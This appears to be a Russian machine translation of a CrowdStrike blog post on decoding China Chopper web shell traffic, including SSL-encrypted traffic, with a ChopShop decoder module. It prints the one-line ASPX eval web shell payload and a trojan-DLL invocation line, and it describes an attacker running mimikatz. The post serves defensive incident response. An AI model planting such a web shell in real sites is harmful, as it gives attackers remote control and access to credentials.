Навигация по сайту

Популярные статьи

Облако меток

Разделение пакетов: декодирование трафика оболочки China Chopper через SSL

  1. Вступление Оболочка Chopper Web - это широко используемый бэкдор китайских и других злоумышленников...
  2. Декодирование с помощью ChopShop
  3. Последние мысли
  4. РЕКОМЕНДАЦИИ

Вступление

Оболочка Chopper Web - это широко используемый бэкдор китайских и других злоумышленников для удаленного доступа к скомпрометированному веб-серверу. Развертывание оболочки Chopper на сервере является довольно простым, поскольку полезная нагрузка сервера представляет собой одну строку, вставленную в любую страницу ASPX.

<% @ Page Language = "Jscript"%> <% eval (Request.Item [”password”], "unsafe");%>

Эта полезная нагрузка доступна на разных языках, включая ASP, ASPX, PHP, JSP и CFM. После установки злоумышленник может получить доступ к оболочке с помощью двоичного файла на стороне клиента Chopper.

CrowdStrike обнаружил еще один метод развертывания на серверах IIS, при котором злоумышленники загружают троянский файл DLL, «System.WebServices.dll». Этот файл DLL написан на C # и содержит несколько функций API Chopper. Затем злоумышленник может вызвать эти функции, вставив эту строку в любую страницу ASPX:

<% WebServices.InitalizeWebServices ("shell_password");%>

Злоумышленник может получить доступ к этому варианту веб-оболочки с помощью аналогичных методов, в том числе с помощью двоичного файла на стороне клиента Chopper. Преимущество этого метода развертывания позволяет веб-оболочке обходить методы обнаружения на основе хоста, которые ищут подозрительные функции, такие как 'eval'. Хотя развертывания Chopper могут различаться на хосте, шаблоны сетевого трафика, генерируемые веб-оболочкой, в основном не изменились.

Чоппер Сетевой трафик

Клиент веб-оболочки Chopper связывается по TCP с помощью HTTP-запросов POST. Анализ сетевого трафика пакетов прерывателя может выявить действия, намерения и последующие шаги злоумышленника.

Поскольку Chopper генерирует запрос POST для каждой команды, ручной анализ может быть утомительным, если злоумышленник очень активен. Другая проблема возникает, когда Chopper развертывается на веб-сервере за SSL, в результате чего весь трафик, генерируемый Chopper, шифруется.

Рисунок 1. Пример закодированной команды Chopper с ответом на дешифрованные HTTP

Декодирование с помощью ChopShop

Чтобы ускорить сортировку, мы используем ChopShop, инфраструктуру сетевого декодера, разработанную MITER. (Https://github.com/MITRECND/chopshop) , Платформа ChopShop может быть расширена за счет модулей, а выходные данные каждого модуля могут быть объединены в цепочку. Это уменьшает необходимость переписывать декодер для широко используемых протоколов. Это позволяет аналитику сосредоточиться на разработке модулей, специфичных для семейства вредоносных программ, без работы с базовыми протоколами.

Модуль декодирования Chopper, который я написал для ChopShop Framework, предназначен для связывания с модулями 'chop_ssl' и 'http'. Для декодирования трафика SSL модулю chop_ssl требуется закрытый ключ сервера в формате RSA. Я предоставил начальную версию этого модуля на нашей странице Github ( https://github.com/CrowdStrike/chopshop ).

webshell_chopper_decode (0.1) - требуется ChopLib 4.0 или выше: извлекать команды Wepperhell Chopper и выводить из HTTP-трафика. Требуется родительский модуль «http». Использование: webshell_chopper_decode [options] Опции: -h, --help показать это справочное сообщение и выйти -d, --dict_output Форматировать выходные данные в наборы dicts -c, --commands_only Только выводить команды прерывателя -o, --outputs_only Только выводить ответы чоппера -x, --extract_pe Пытается извлечь файлы pe из сессии

Примеры команд использования:

./chopshop –f chopper_traffic_ssl.pcap «chop_ssl -k privatekeyrsa.key | http | webshell_chopper_decode»> decoded_commands.txt ./chopshop –f chopper_traffic_http.pcap «http | webshell_chopper_decode -c"

Выходные данные модуля содержат все команды и ответы из оболочки Chopper. Модуль декодирует весь PCAP и разделяет каждый параметр команды 'z0', 'z1', 'z2' на отдельной строке. Эти параметры 'z' в данных формы содержат аргументы команд, которые передаются от клиента Chopper к полезной нагрузке сервера. Хотя команды кодируются в base64 или hex, ответы не кодируются.

В приведенном ниже примере вывода мы видим, что злоумышленник запускает командный файл 'dir', ищущий 'w3wp.exe' (переименованная версия cmd.exe) и затем выполняющий дампер учетных данных 'mimikatz' (с именем pwd.txt).

txt)

Рисунок 2. Пример части вывода из модуля декодирования, показывающий выполнение «mimikatz».

Портативные исполняемые (PE) файлы, используемые веб-оболочкой Chopper, анализируются в шестнадцатеричном формате, закодированном модулем. Модуль декодирования Chopper имеет возможность попытаться вырезать и сохранить любые PE-файлы в командах или ответах, замеченных во время сеанса C2 злоумышленника.

./chopshop -s. –F chopper_traffic_ssl.pcap "chop_ssl -k privatekeyrsa.key | http | webshell_chopper_decode –x"

Обратите внимание на добавление флага «-s», который необходимо установить, чтобы указать ChopShop, в какой каталог выводить сохраненные файлы.

… Chopper_extracted_file-1.bin сохранен .. [КОМАНДА] в 2015-02-24 07:03:05 UTC [Параметр Z0] - Q1 | [Параметр Z1] - \\ 192.168.1.11 \ c $ \ inetpub \ wwwroot \ Citrix \ XenApp \ bin \ System.WebServices.dll [Параметр Z2] -… … Chopper_extracted_file-1

Рисунок 3. Вырезанный PE из трафика Чоппера, открытый в шестнадцатеричном редакторе.

Последние мысли

Благодаря тому, что Chopper доступен во многих разновидностях языков программирования и сценариев, этот модуль все еще находится в разработке, чтобы учесть различные варианты и крайние случаи. Цель этого модуля состояла в том, чтобы облегчить некоторую утомительную работу по извлечению информации из захвата большого пакета. С распространенностью использования Чоппера группами APT, способность быстро декодировать и понимать, что делает злоумышленник, значительно повышает ситуационную осведомленность реагирующих на инциденты.

Чтобы получить полный доступ к антивирусному решению следующего поколения CrowdStrike в течение 15 дней, посетите Falcon Prevent бесплатная пробная страница ,

РЕКОМЕНДАЦИИ

https://github.com/CrowdStrike/chopshop

https://github.com/MITRECND/chopshop

https://github.com/MITRECND/htpy

http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/decrypting-ssl-with-chopshop

https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf

http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html